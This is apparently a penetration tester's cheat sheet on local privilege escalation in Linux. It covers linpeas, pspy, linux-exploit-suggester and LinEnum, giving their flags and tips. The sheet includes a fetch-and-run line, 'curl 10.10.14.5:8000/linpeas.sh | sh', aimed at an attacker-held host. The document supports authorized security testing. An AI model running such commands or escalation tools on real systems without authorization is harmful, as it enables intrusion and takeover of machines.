Local Privilege Escalation Arsenal

Loads once a foothold/shell exists and you need root/SYSTEM. Authorized, in-scope targets only. Enumerate the cheap wins first (sudo -l, SUID, caps / whoami /priv) before reaching for kernel or token exploits.

Linux

Automated enumeration

• linpeas.sh — one-shot enum of every common vector; run early. curl 10.10.14.5:8000/linpeas.sh | sh (or transfer + ./linpeas.sh -a). Grep the output: red/yellow highlights = likely wins. Look for sudo, SUID, Capabilities, writable paths, PATH, cron, cleartext creds. Gotcha: noisy — pipe to a file (./linpeas.sh > lp.txt) and read it, don't scroll the terminal.
• pspy — watches processes/cron without root; catches root-run cron jobs and their commands. ./pspy64 -pf -i 1000 (-p procs, -f file events, -i poll ms). Gotcha: leave it running a few minutes to catch periodic cron.
• linux-exploit-suggester (LES) — maps uname -a / kernel to public exploits. ./les.sh on target, or ./les.sh -k 5.4.0. Treat output as leads to verify, not guaranteed.
• LinEnum — older but reliable broad enum; complements linpeas. ./LinEnum.sh -t (-t = thorough).